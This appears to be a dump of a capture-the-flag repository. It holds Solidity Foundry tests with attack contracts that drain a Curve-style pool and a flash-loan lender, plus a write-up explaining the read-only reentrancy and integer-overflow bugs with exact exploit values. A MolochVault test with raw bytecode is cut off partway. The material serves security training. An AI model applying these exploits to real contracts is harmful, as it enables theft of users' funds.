"../src/MetaPoolToken.sol"; 9 | import "../src/interfaces/IERC3156.sol"; 10 | import "forge-std/console.sol"; 11 | 12 | 13 | 14 | contract Challenge is Test { 15 | ILendingPool public wethLendingPool; 16 | CurvePool public swapPoolEthWeth; 17 | CurveToken public lpToken; 18 | IWETH public weth; 19 | MetaPoolToken public metaToken; 20 | address hacker; 21 | address alice; 22 | address bob; 23 | 24 | function setUp() public { 25 | vm.createSelectFork("https://sepolia.gateway.tenderly.co"); 26 | 27 | weth = IWETH(payable(0x1194A239875cD36C9B960FF2d3d8d0f800435290)); 28 | wethLendingPool = ILendingPool(0x66Df966E887e73b2f46456e062213B0C0fB42037); 29 | assertEq(address(wethLendingPool.WETH()), address(weth)); 30 | assertEq(address(wethLendingPool.WETH()), address(weth)); 31 | lpToken = new CurveToken(); 32 | swapPoolEthWeth = new CurvePool( 33 | msg.sender, 34 | [ 35 | 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE, 36 | address(weth) 37 | ], 38 | address(lpToken), 39 | 5, 40 | 4000000, 41 | 5000000000 42 | ); 43 | lpToken.initialize(address(swapPoolEthWeth)); 44 | metaToken = new MetaPoolToken(lpToken, swapPoolEthWeth); 45 | // deal(address(lpToken), address(metaToken), 10000 ether, true); 46 | 47 | hacker = makeAddr("hacker"); 48 | alice = makeAddr("alice"); 49 | bob = makeAddr("bob"); 50 | 51 | uint[2] memory amounts;// = [10 ether, 10 ether]; 52 | amounts[0] = 10 ether; 53 | amounts[1] = 10 ether; 54 | 55 | deal(alice, 20 ether); 56 | vm.startPrank(alice); 57 | 58 | weth.deposit{value: 10 ether}(); 59 | assertEq(weth.balanceOf(alice), 10 ether, "alice failed"); 60 | weth.approve(address(swapPoolEthWeth), type(uint).max); 61 | swapPoolEthWeth.add_liquidity{value: 10 ether}(amounts, 0); 62 | lpToken.approve(address(metaToken), type(uint).max); 63 | metaToken.mint(lpToken.balanceOf(alice)); 64 | assertGt(metaToken.balanceOf(alice),0); 65 | vm.stopPrank(); 66 | 67 | // amounts = [20 ether, 20 ether]; 68 | amounts[0] = 20 ether; 69 | amounts[1] = 20 ether; 70 | 71 | deal(bob, 40 ether); 72 | vm.startPrank(bob); 73 | 74 | weth.deposit{value: 20 ether}(); 75 | assertEq(weth.balanceOf(bob), 20 ether, "bob failed"); 76 | weth.approve(address(swapPoolEthWeth), type(uint).max); 77 | swapPoolEthWeth.add_liquidity{value: 20 ether}(amounts, 0); 78 | lpToken.approve(address(metaToken), type(uint).max); 79 | metaToken.mint(lpToken.balanceOf(bob)); 80 | assertGt(metaToken.balanceOf(bob),0); 81 | vm.stopPrank(); 82 | 83 | // Provide initial liquidity to lending pool (and lots of it!) 84 | deal(address(this), type(uint256).max - 70 ether); 85 | weth.deposit{value: address(this).balance}(); 86 | weth.transfer(address(wethLendingPool), weth.balanceOf(address(this))); 87 | 88 | // Provide hacker with some ETH to start with 89 | deal(hacker, 10 ether); 90 | } 91 | 92 | function testHack() public { 93 | uint lendingPoolWethBalance = weth.balanceOf(address(wethLendingPool)); 94 | 95 | vm.startPrank(hacker, hacker); 96 | 97 | //Your Solution 98 | 99 | // 1. drain all LP tokens 100 | { 101 | DrainLP c = new DrainLP{value: address(hacker).balance}( 102 | wethLendingPool, swapPoolEthWeth, lpToken, weth, metaToken); 103 | c.attack(); 104 | } 105 | 106 | 107 | // 2. drain the lender pool 108 | { 109 | DrainFlashLender c = new DrainFlashLender( 110 | wethLendingPool, weth); 111 | c.attack(); 112 | weth.withdraw(weth.balanceOf(hacker)); 113 | } 114 | 115 | 116 | vm.stopPrank(); 117 | 118 | assertLt(weth.balanceOf(address(wethLendingPool)), lendingPoolWethBalance, "Did not steal WETH from LendingPool"); 119 | assertApproxEqAbs(lpToken.balanceOf(address(metaToken)), 0, 1e5, "Did not completely drain LP tokens from MetaPoolToken"); 120 | assertApproxEqRel(address(hacker).balance / weth.balanceOf(address(wethLendingPool)), 200, 5, "Did not obtain approx. 200x as much ETH as the final WETH lending pool balance"); 121 | } 122 | } 123 | 124 | contract DrainLP is IERC3156FlashBorrower { 125 | ILendingPool public wethLendingPool; 126 | CurvePool public swapPoolEthWeth; 127 | CurveToken public lpToken; 128 | IWETH public weth; 129 | MetaPoolToken public metaToken; 130 | 131 | address hacker; 132 | 133 | constructor( 134 | ILendingPool a1, 135 | CurvePool a2, 136 | CurveToken a3, 137 | IWETH a4, 138 | MetaPoolToken a5 139 | ) payable { 140 | hacker = msg.sender; 141 | 142 | wethLendingPool = a1; 143 | swapPoolEthWeth = a2; 144 | lpToken = a3; 145 | weth = a4; 146 | metaToken = a5; 147 | } 148 | 149 | function attack() external { 150 | 151 | { // 1. buy 10 eth lp 152 | weth.approve(address(wethLendingPool), type(uint).max); 153 | weth.approve(address(swapPoolEthWeth), type(uint).max); 154 | 155 | uint v0 = 5 ether; 156 | uint v1 = 5 ether; 157 | 158 | weth.deposit{value: v1}(); // eth -> weth 159 | 160 | uint[2] memory amounts; 161 | amounts[0] = v0; 162 | amounts[1] = v1; 163 | uint lp = swapPoolEthWeth.add_liquidity{value: v0}(amounts, 0); 164 | } 165 | 166 | 167 | { // flashloan 168 | uint borrow = 1046_982343863283000000; 169 | wethLendingPool.flashLoan( 170 | IERC3156FlashBorrower(this), address(weth), borrow, ""); 171 | } 172 | // transfer eth/weth back to hacker 173 | { 174 | payable(hacker).call{value: address(this).balance}(""); 175 | weth.transfer(hacker, weth.balanceOf(address(this))); 176 | } 177 | } 178 | 179 | bool flagHandleReceive; 180 | receive() external payable { 181 | if (!flagHandleReceive ) { 182 | return; 183 | } 184 | flagHandleReceive = false; 185 | 186 | 187 | { // here, lp price is very high, so we can buy more metaToken 188 | 189 | uint lp = lpToken.balanceOf(address(this)); 190 | 191 | lpToken.approve(address(metaToken), type(uint).max); 192 | metaToken.mint(lp); 193 | } 194 | } 195 | 196 | function onFlashLoan(address initiator, address token, uint256 amount, uint256 fee, bytes calldata data) external returns (bytes32) { 197 | 198 | { // buy some lp, then sell it to break the balance and trigger the `receive()` callback 199 | 200 | uint half = amount/2; 201 | 202 | weth.withdraw(half); 203 | 204 | uint[2] memory amounts; 205 | amounts[0] = half; 206 | amounts[1] = half; 207 | uint lp = swapPoolEthWeth.add_liquidity{value: half}(amounts, 0); 208 | 209 | amounts[0] = 0; 210 | amounts[1] = 0; 211 | flagHandleReceive = true; // get ready for the `receive()` 212 | amounts = swapPoolEthWeth.remove_liquidity(lp, amounts); 213 | } 214 | 215 | // executing `receive()` ... 216 | 217 | { // When it goes here, lp price gets back to low, 218 | // sell the metaToken to get more lp 219 | uint meta = metaToken.balanceOf(address(this)); 220 | metaToken.burn(meta); 221 | } 222 | 223 | { // remove liquidity -> eth/weth 224 | 225 | uint lp = lpToken.balanceOf(address(this)); 226 | uint[2] memory amounts; 227 | amounts[0] = 0; 228 | amounts[1] = 0; 229 | amounts = swapPoolEthWeth.remove_liquidity(lp, amounts); 230 | } 231 | 232 | // return funds 233 | { 234 | weth.deposit{value: address(this).balance}(); // all eth -> weth 235 | } 236 | 237 | return keccak256("ERC3156FlashBorrower.onFlashLoan"); 238 | } 239 | } 240 | 241 | contract DrainFlashLender is IERC3156FlashBorrower { 242 | ILendingPool public wethLendingPool; 243 | IWETH public weth; 244 | 245 | address hacker; 246 | 247 | constructor( 248 | ILendingPool a1, 249 | IWETH a2 250 | ) payable { 251 | hacker = msg.sender; 252 | 253 | wethLendingPool = a1; 254 | weth = a2; 255 | } 256 | 257 | function attack() external { 258 | 259 | // flashloan weth without returning 260 | { 261 | uint borrow = 0xfeb9f34380a3065e3fae7cd0e028c1978feb9f34380a3065e3fae7cd0e028c1a; 262 | wethLendingPool.flashLoan( 263 | IERC3156FlashBorrower(this), address(weth), borrow, ""); 264 | } 265 | 266 | // transfer weth back to hacker 267 | { 268 | weth.transfer(hacker, weth.balanceOf(address(this))); 269 | } 270 | } 271 | 272 | function onFlashLoan(address initiator, address token, uint256 amount, uint256 fee, bytes calldata data) external returns (bytes32) { 273 | return keccak256("ERC3156FlashBorrower.onFlashLoan"); 274 | } 275 | 276 | } 277 | -------------------------------------------------------------------------------- /MetaToken.md: -------------------------------------------------------------------------------- 1 | # Analysis 2 | 3 | ## Bug of the `CurvePool` 4 | In the `CurvePool.remove_liquidity()`: 5 | ```solidity 6 | function remove_liquidity( 7 | uint _amount, 8 | uint[2] memory _min_amounts 9 | ) external nonReentrant returns (uint[2] memory) { 10 | ... 11 | require(CurveToken(token).burnFrom(msg.sender, _amount), "Insufficient funds"); 12 | 13 | for (uint i; i < 2; i++) { 14 | ... 15 | if (i == 0) { 16 | (bool success,) = msg.sender.call{value: value}(""); // eth sent before weth 17 | require(success); 18 | } else { 19 | require(ERC20(coins[1]).transfer(msg.sender, value)); 20 | } 21 | } 22 | 23 | ... 24 | } 25 | 26 | ``` 27 | First, it burns the LP tokens, then returns both ether and weth to user. It should return ether AFTER weth, but it does the reverse. When it calls `msg.sender.call{value: value}("")`, the ether is sent but the weth is not, which causes the pool unbalanced. Functions `get_virtual_price()` is affected by the unblance: 28 | ```solidity 29 | function get_virtual_price() external view returns (uint) { 30 | uint d = get_D(_balances(0), _A()); 31 | uint token_supply = ERC20(lp_token).totalSupply(); // <--- decreased 32 | return d * PRECISION / token_supply; // <---- pumps 33 | } 34 | 35 | ``` 36 | At this moment, since the LP is burned, the `token_supply` is decreased, and the return value pumps to a higher price. The more it decreases, the higher the price pumps. When the price pumps we can buy more MetaToken than we're supposed to. When the `remove_liquidity()` returns, the pool goes back to balanced again, the price goes low, then we sell the MetaToken to drain it, and we get more LP token than previously we have. 37 | 38 | So the solution is: 39 | 0. use our 10 ether to get about 10 ether of LP 40 | 1. flashloan a large amount of weth, then `add_liquidity()` 41 | 2. call `remove_liquidity()` to pump the price to 7 times 42 | 3. in the `receive()` callback, buy MetaToken with our 10 ether of LP 43 | 4. after the `remove_liquidity()`, sell the MetaToken, the previous 10 ether of LP now becomes 70 ether 44 | 5. sell the LP and repay the flashloan and fee 45 | 46 | ### The flashloan amount 47 | To calculate the amount of flashloan, I tried to dive into the numeric algorithm, but it's so complex then I tried bisection method, eg: try the number 1, if it's too small then try 2, if still too smal then try 4, if too large then try 3. 48 | After a couple of minutes I got this number: `1046_982343863283000000`, which pumps the price to 7 times, so our 10 ether becomes 70 ether and the MetaPool is drained. 49 | 50 | 51 | ## Bug of the `LendingPool` 52 | The contract is compiled with solc of version `0.6`, before version `0.8` there's always the number overflow bug: 53 | ```solidity 54 | function flashLoan( 55 | IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data 56 | ) external override returns (bool) { 57 | ... 58 | uint256 repayAmount; 59 | repayAmount = amount + feeAmount; 60 | require(WETH.transferFrom(address(receiver), address(this), repayAmount), "LendingPool: flash loan amount + fee not returned"); 61 | return true; 62 | } 63 | 64 | ``` 65 | If we find an `amount` that satisfies `amount + feeAmount == 0`(overflows to 0), it means we can borrow token without returning it(return 0 amount). 66 | 67 | The fomular is: 68 | repayAmount == amount + fee == amount + amount/1000*5 == uint.max + 1 == 2**256 69 | => 70 | amount + amount/1000*5 == 2**256 71 | 1005*amount == 2**256*1000 72 | => 73 | amount == 0xfeb9f34380a3065e3fae7cd0e028c1978feb9f34380a3065e3fae7cd0e028c1a 74 | 75 | 76 | 77 | # POC 78 | ```solidity 79 | // SPDX-License-Identifier: UNLICENSED 80 | pragma solidity ^0.8.13; 81 | 82 | import "forge-std/Test.sol"; 83 | import "../src/CurvePool.sol"; 84 | import "../src/CurveToken.sol"; 85 | import "../src/interfaces/ILendingPool.sol"; 86 | import "../src/MetaPoolToken.sol"; 87 | import "../src/interfaces/IERC3156.sol"; 88 | import "forge-std/console.sol"; 89 | 90 | 91 | 92 | contract Challenge is Test { 93 | ILendingPool public wethLendingPool; 94 | CurvePool public swapPoolEthWeth; 95 | CurveToken public lpToken; 96 | IWETH public weth; 97 | MetaPoolToken public metaToken; 98 | address hacker; 99 | address alice; 100 | address bob; 101 | 102 | function setUp() public { 103 | vm.createSelectFork("https://sepolia.gateway.tenderly.co"); 104 | 105 | weth = IWETH(payable(0x1194A239875cD36C9B960FF2d3d8d0f800435290)); 106 | wethLendingPool = ILendingPool(0x66Df966E887e73b2f46456e062213B0C0fB42037); 107 | assertEq(address(wethLendingPool.WETH()), address(weth)); 108 | assertEq(address(wethLendingPool.WETH()), address(weth)); 109 | lpToken = new CurveToken(); 110 | swapPoolEthWeth = new CurvePool( 111 | msg.sender, 112 | [ 113 | 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE, 114 | address(weth) 115 | ], 116 | address(lpToken), 117 | 5, 118 | 4000000, 119 | 5000000000 120 | ); 121 | lpToken.initialize(address(swapPoolEthWeth)); 122 | metaToken = new MetaPoolToken(lpToken, swapPoolEthWeth); 123 | // deal(address(lpToken), address(metaToken), 10000 ether, true); 124 | 125 | hacker = makeAddr("hacker"); 126 | alice = makeAddr("alice"); 127 | bob = makeAddr("bob"); 128 | 129 | uint[2] memory amounts;// = [10 ether, 10 ether]; 130 | amounts[0] = 10 ether; 131 | amounts[1] = 10 ether; 132 | 133 | deal(alice, 20 ether); 134 | vm.startPrank(alice); 135 | 136 | weth.deposit{value: 10 ether}(); 137 | assertEq(weth.balanceOf(alice), 10 ether, "alice failed"); 138 | weth.approve(address(swapPoolEthWeth), type(uint).max); 139 | swapPoolEthWeth.add_liquidity{value: 10 ether}(amounts, 0); 140 | lpToken.approve(address(metaToken), type(uint).max); 141 | metaToken.mint(lpToken.balanceOf(alice)); 142 | assertGt(metaToken.balanceOf(alice),0); 143 | vm.stopPrank(); 144 | 145 | // amounts = [20 ether, 20 ether]; 146 | amounts[0] = 20 ether; 147 | amounts[1] = 20 ether; 148 | 149 | deal(bob, 40 ether); 150 | vm.startPrank(bob); 151 | 152 | weth.deposit{value: 20 ether}(); 153 | assertEq(weth.balanceOf(bob), 20 ether, "bob failed"); 154 | weth.approve(address(swapPoolEthWeth), type(uint).max); 155 | swapPoolEthWeth.add_liquidity{value: 20 ether}(amounts, 0); 156 | lpToken.approve(address(metaToken), type(uint).max); 157 | metaToken.mint(lpToken.balanceOf(bob)); 158 | assertGt(metaToken.balanceOf(bob),0); 159 | vm.stopPrank(); 160 | 161 | // Provide initial liquidity to lending pool (and lots of it!) 162 | deal(address(this), type(uint256).max - 70 ether); 163 | weth.deposit{value: address(this).balance}(); 164 | weth.transfer(address(wethLendingPool), weth.balanceOf(address(this))); 165 | 166 | // Provide hacker with some ETH to start with 167 | deal(hacker, 10 ether); 168 | } 169 | 170 | function testHack() public { 171 | uint lendingPoolWethBalance = weth.balanceOf(address(wethLendingPool)); 172 | 173 | vm.startPrank(hacker, hacker); 174 | 175 | //Your Solution 176 | 177 | // 1. drain all LP tokens 178 | { 179 | DrainLP c = new DrainLP{value: address(hacker).balance}( 180 | wethLendingPool, swapPoolEthWeth, lpToken, weth, metaToken); 181 | c.attack(); 182 | } 183 | 184 | 185 | // 2. drain the lender pool 186 | { 187 | DrainFlashLender c = new DrainFlashLender( 188 | wethLendingPool, weth); 189 | c.attack(); 190 | weth.withdraw(weth.balanceOf(hacker)); 191 | } 192 | 193 | 194 | vm.stopPrank(); 195 | 196 | assertLt(weth.balanceOf(address(wethLendingPool)), lendingPoolWethBalance, "Did not steal WETH from LendingPool"); 197 | assertApproxEqAbs(lpToken.balanceOf(address(metaToken)), 0, 1e5, "Did not completely drain LP tokens from MetaPoolToken"); 198 | assertApproxEqRel(address(hacker).balance / weth.balanceOf(address(wethLendingPool)), 200, 5, "Did not obtain approx. 200x as much ETH as the final WETH lending pool balance"); 199 | } 200 | } 201 | 202 | contract DrainLP is IERC3156FlashBorrower { 203 | ILendingPool public wethLendingPool; 204 | CurvePool public swapPoolEthWeth; 205 | CurveToken public lpToken; 206 | IWETH public weth; 207 | MetaPoolToken public metaToken; 208 | 209 | address hacker; 210 | 211 | constructor( 212 | ILendingPool a1, 213 | CurvePool a2, 214 | CurveToken a3, 215 | IWETH a4, 216 | MetaPoolToken a5 217 | ) payable { 218 | hacker = msg.sender; 219 | 220 | wethLendingPool = a1; 221 | swapPoolEthWeth = a2; 222 | lpToken = a3; 223 | weth = a4; 224 | metaToken = a5; 225 | } 226 | 227 | function attack() external { 228 | 229 | { // 1. buy 10 eth lp 230 | weth.approve(address(wethLendingPool), type(uint).max); 231 | weth.approve(address(swapPoolEthWeth), type(uint).max); 232 | 233 | uint v0 = 5 ether; 234 | uint v1 = 5 ether; 235 | 236 | weth.deposit{value: v1}(); // eth -> weth 237 | 238 | uint[2] memory amounts; 239 | amounts[0] = v0; 240 | amounts[1] = v1; 241 | uint lp = swapPoolEthWeth.add_liquidity{value: v0}(amounts, 0); 242 | } 243 | 244 | 245 | { // flashloan 246 | uint borrow = 1046_982343863283000000; 247 | wethLendingPool.flashLoan( 248 | IERC3156FlashBorrower(this), address(weth), borrow, ""); 249 | } 250 | // transfer eth/weth back to hacker 251 | { 252 | payable(hacker).call{value: address(this).balance}(""); 253 | weth.transfer(hacker, weth.balanceOf(address(this))); 254 | } 255 | } 256 | 257 | bool flagHandleReceive; 258 | receive() external payable { 259 | if (!flagHandleReceive ) { 260 | return; 261 | } 262 | flagHandleReceive = false; 263 | 264 | 265 | { // here, lp price is very high, so we can buy more metaToken 266 | 267 | uint lp = lpToken.balanceOf(address(this)); 268 | 269 | lpToken.approve(address(metaToken), type(uint).max); 270 | metaToken.mint(lp); 271 | } 272 | } 273 | 274 | function onFlashLoan(address initiator, address token, uint256 amount, uint256 fee, bytes calldata data) external returns (bytes32) { 275 | 276 | { // buy some lp, then sell it to break the balance and trigger the `receive()` callback 277 | 278 | uint half = amount/2; 279 | 280 | weth.withdraw(half); 281 | 282 | uint[2] memory amounts; 283 | amounts[0] = half; 284 | amounts[1] = half; 285 | uint lp = swapPoolEthWeth.add_liquidity{value: half}(amounts, 0); 286 | 287 | amounts[0] = 0; 288 | amounts[1] = 0; 289 | flagHandleReceive = true; // get ready for the `receive()` 290 | amounts = swapPoolEthWeth.remove_liquidity(lp, amounts); 291 | } 292 | 293 | // executing `receive()` ... 294 | 295 | { // When it goes here, lp price gets back to low, 296 | // sell the metaToken to get more lp 297 | uint meta = metaToken.balanceOf(address(this)); 298 | metaToken.burn(meta); 299 | } 300 | 301 | { // remove liquidity -> eth/weth 302 | 303 | uint lp = lpToken.balanceOf(address(this)); 304 | uint[2] memory amounts; 305 | amounts[0] = 0; 306 | amounts[1] = 0; 307 | amounts = swapPoolEthWeth.remove_liquidity(lp, amounts); 308 | } 309 | 310 | // return funds 311 | { 312 | weth.deposit{value: address(this).balance}(); // all eth -> weth 313 | } 314 | 315 | return keccak256("ERC3156FlashBorrower.onFlashLoan"); 316 | } 317 | } 318 | 319 | contract DrainFlashLender is IERC3156FlashBorrower { 320 | ILendingPool public wethLendingPool; 321 | IWETH public weth; 322 | 323 | address hacker; 324 | 325 | constructor( 326 | ILendingPool a1, 327 | IWETH a2 328 | ) payable { 329 | hacker = msg.sender; 330 | 331 | wethLendingPool = a1; 332 | weth = a2; 333 | } 334 | 335 | function attack() external { 336 | 337 | // flashloan weth without returning 338 | { 339 | uint borrow = 0xfeb9f34380a3065e3fae7cd0e028c1978feb9f34380a3065e3fae7cd0e028c1a; 340 | wethLendingPool.flashLoan( 341 | IERC3156FlashBorrower(this), address(weth), borrow, ""); 342 | } 343 | 344 | // transfer weth back to hacker 345 | { 346 | weth.transfer(hacker, weth.balanceOf(address(this))); 347 | } 348 | } 349 | 350 | function onFlashLoan(address initiator, address token, uint256 amount, uint256 fee, bytes calldata data) external returns (bytes32) { 351 | return keccak256("ERC3156FlashBorrower.onFlashLoan"); 352 | } 353 | 354 | } 355 | 356 | ``` 357 | -------------------------------------------------------------------------------- /MolochVault.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.7; 3 | 4 | import "forge-std/Test.sol"; 5 | import "../src/MolochVault.sol"; 6 | 7 | contract SolveMolochVault is Test { 8 | MOLOCH_VAULT vault; 9 | 10 | address deployer = makeAddr("deployer"); 11 | 12 | 13 | function setUp() public { 14 | vm.startPrank(deployer); 15 | // deploy with bytecode copied from etherscan.com 16 | bytes memory all = hex"60e0604052604051620025b8380380620025b883398181016040528101906200002991906200071b565b336040516020016200003c91906200084e565b6040516020818303038152906040528051906020012060808181525050836040516020016200006c9190620008c8565b6040516020818303038152906040528051906020012060c0818152505082600060028110620000a0576200009f620008ec565b5b60200201516001600060028110620000bd57620000bc620008ec565b5b019081620000cc919062000b5b565b5082600160028110620000e457620000e3620008ec565b5b6020020151600180600281106200010057620000ff620008ec565b5b0190816200010f919062000b5b565b506001600060028110620001285762000127620008ec565b5b016001806002811062000140576200013f620008ec565b5b016040516020016200015492919062000cdc565b6040516020818303038152906040528051906020012060a0818152505060005b6003811015620002855760006040518060400160405280858460038110620001a157620001a0620008ec565b5b602002015173ffffffffffffffffffffffffffffffffffffffff168152602001848460038110620001d757620001d6620008ec565b5b60200201518152509050600381908060018154018082558091505060019003906000526020600020906002020160009091909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010190816200026b919062000b5b565b5050505080806200027c9062000d33565b91505062000174565b505050505062000d80565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620002f982620002ae565b810181811067ffffffffffffffff821117156200031b576200031a620002bf565b5b80604052505050565b60006200033062000290565b90506200033e8282620002ee565b919050565b600067ffffffffffffffff821115620003615762000360620002bf565b5b6200036c82620002ae565b9050602081019050919050565b60005b83811015620003995780820151818401526020810190506200037c565b60008484015250505050565b6000620003bc620003b68462000343565b62000324565b905082815260208101848484011115620003db57620003da620002a9565b5b620003e884828562000379565b509392505050565b600082601f830112620004085762000407620002a4565b5b81516200041a848260208601620003a5565b91505092915050565b600067ffffffffffffffff821115620004415762000440620002bf565b5b602082029050919050565b600080fd5b600062000468620004628462000423565b62000324565b905080602084028301858111156200048557620004846200044c565b5b835b81811015620004d357805167ffffffffffffffff811115620004ae57620004ad620002a4565b5b808601620004bd8982620003f0565b8552602085019450505060208101905062000487565b5050509392505050565b600082601f830112620004f557620004f4620002a4565b5b60026200050484828562000451565b91505092915050565b600067ffffffffffffffff8211156200052b576200052a620002bf565b5b602082029050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620005638262000536565b9050919050565b620005758162000556565b81146200058157600080fd5b50565b60008151905062000595816200056a565b92915050565b6000620005b2620005ac846200050d565b62000324565b90508060208402830185811115620005cf57620005ce6200044c565b5b835b81811015620005fc5780620005e7888262000584565b845260208401935050602081019050620005d1565b5050509392505050565b600082601f8301126200061e576200061d620002a4565b5b60036200062d8482856200059b565b91505092915050565b600067ffffffffffffffff821115620006545762000653620002bf565b5b602082029050919050565b600062000676620006708462000636565b62000324565b905080602084028301858111156200069357620006926200044c565b5b835b81811015620006e157805167ffffffffffffffff811115620006bc57620006bb620002a4565b5b808601620006cb8982620003f0565b8552602085019450505060208101905062000695565b5050509392505050565b600082601f830112620007035762000702620002a4565b5b6003620007128482856200065f565b91505092915050565b60008060008060c085870312156200073857620007376200029a565b5b600085015167ffffffffffffffff8111156200075957620007586200029f565b5b6200076787828801620003f0565b945050602085015167ffffffffffffffff8111156200078b576200078a6200029f565b5b6200079987828801620004dd565b9350506040620007ac8782880162000606565b92505060a085015167ffffffffffffffff811115620007d057620007cf6200029f565b5b620007de87828801620006eb565b91505092959194509250565b6000620007f78262000536565b9050919050565b60008160601b9050919050565b60006200081882620007fe565b9050919050565b60006200082c826200080b565b9050919050565b620008486200084282620007ea565b6200081f565b82525050565b60006200085c828462000833565b60148201915081905092915050565b600081519050919050565b600082825260208201905092915050565b600062000894826200086b565b620008a0818562000876565b9350620008b281856020860162000379565b620008bd81620002ae565b840191505092915050565b60006020820190508181036000830152620008e4818462000887565b905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200096357607f821691505b6020821081036200097957620009786200091b565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620009e37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620009a4565b620009ef8683620009a4565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000a3c62000a3662000a308462000a07565b62000a11565b62000a07565b9050919050565b6000819050919050565b62000a588362000a1b565b62000a7062000a678262000a43565b848454620009b1565b825550505050565b600090565b62000a8762000a78565b62000a9481848462000a4d565b505050565b5b8181101562000abc5762000ab060008262000a7d565b60018101905062000a9a565b5050565b601f82111562000b0b5762000ad5816200097f565b62000ae08462000994565b8101602085101562000af0578190505b62000b0862000aff8562000994565b83018262000a99565b50505b505050565b600082821c905092915050565b600062000b306000198460080262000b10565b1980831691505092915050565b600062000b4b838362000b1d565b9150826002028217905092915050565b62000b66826200086b565b67ffffffffffffffff81111562000b825762000b81620002bf565b5b62000b8e82546200094a565b62000b9b82828562000ac0565b600060209050601f83116001811462000bd3576000841562000bbe578287015190505b62000bca858262000b3d565b86555062000c3a565b601f19841662000be3866200097f565b60005b8281101562000c0d5784890151825560018201915060208501945060208101905062000be6565b8683101562000c2d578489015162000c29601f89168262000b1d565b8355505b6001600288020188555050505b505050505050565b600081905092915050565b6000815462000c5c816200094a565b62000c68818662000c42565b9450600182166000811462000c86576001811462000c9c5762000cd3565b60ff198316865281151582028601935062000cd3565b62000ca7856200097f565b60005b8381101562000ccb5781548189015260018201915060208101905062000caa565b838801955050505b50505092915050565b600062000cea828562000c4d565b915062000cf8828462000c4d565b91508190509392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000d408262000a07565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820362000d755762000d7462000d04565b5b600182019050919050565b60805160a05160c05161180862000db0600039600061029b01526000610364015260006106aa01526118086000f3fe6080604052600436106100595760003560e01c80631e16f68b1461006557806351f002e6146100a2578063639474da146100df5780638be58f20146100fb5780639b9c267914610139578063b57ebebe1461015557610060565b3661006057005b600080fd5b34801561007157600080fd5b5061008c60048036038101906100879190610ac7565b610192565b6040516100999190610b84565b60405180910390f35b3480156100ae57600080fd5b506100c960048036038101906100c49190610c04565b610235565b6040516100d69190610c4c565b60405180910390f35b6100f960048036038101906100f49190610e70565b610255565b005b34801561010757600080fd5b50610122600480360381019061011d9190610ac7565b6105a5565b604051610130929190610eda565b60405180910390f35b610153600480360381019061014e9190610f36565b610681565b005b34801561016157600080fd5b5061017c60048036038101906101779190610f63565b6107d7565b6040516101899190610c4c565b60405180910390f35b600181600281106101a257600080fd5b0160009150905080546101b490610fee565b80601f01602080910402602001604051908101604052809291908181526020018280546101e090610fee565b801561022d5780601f106102025761010080835404028352916020019161022d565b820191906000526020600020905b81548152906001019060200180831161021057829003601f168201915b505050505081565b60006020528060005260406000206000915054906101000a900460ff1681565b60004790508160006003811061026e5761026d61101f565b5b60200201516040516020016102839190610b84565b604051602081830303815290604052805190602001207f00000000000000000000000000000000000000000000000000000000000000001480156102ca575063b2d05e0034105b610309576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103009061109a565b60405180910390fd5b8160016003811061031d5761031c61101f565b5b6020020151826002600381106103365761033561101f565b5b602002015160405160200161034c9291906110f6565b604051602081830303815290604052805190602001207f0000000000000000000000000000000000000000000000000000000000000000146103c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ba90611166565b60405180910390fd5b60016000600281106103d8576103d761101f565b5b016040516020016103e9919061121f565b60405160208183030381529060405280519060200120826001600381106104135761041261101f565b5b60200201516040516020016104289190610b84565b604051602081830303815290604052805190602001200361047e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104759061128d565b60405180910390fd5b60003373ffffffffffffffffffffffffffffffffffffffff1660016040516104a5906112de565b60006040518083038185875af1925050503d80600081146104e2576040519150601f19603f3d011682016040523d82523d6000602084013e6104e7565b606091505b50509050806104f557600080fd5b6000479050600183826105089190611322565b14610548576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053f906113a2565b60405180910390fd5b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050505050565b600481815481106105b557600080fd5b90600052602060002090600202016000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010180546105fe90610fee565b80601f016020809104026020016040519081016040528092919081815260200182805461062a90610fee565b80156106775780601f1061064c57610100808354040283529160200191610677565b820191906000526020600020905b81548152906001019060200180831161065a57829003601f168201915b5050505050905082565b33604051602001610692919061140a565b604051602081830303815290604052805190602001207f0000000000000000000000000000000000000000000000000000000000000000148061071d57506000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61075c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075390611471565b60405180910390fd5b60008173ffffffffffffffffffffffffffffffffffffffff166001604051610783906112de565b60006040518083038185875af1925050503d80600081146107c0576040519150601f19603f3d011682016040523d82523d6000602084013e6107c5565b606091505b50509050806107d357600080fd5b5050565b6000806003805480602002602001604051908101604052809291908181526020016000905b8282101561091657838290600052602060002090600202016040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160018201805461088590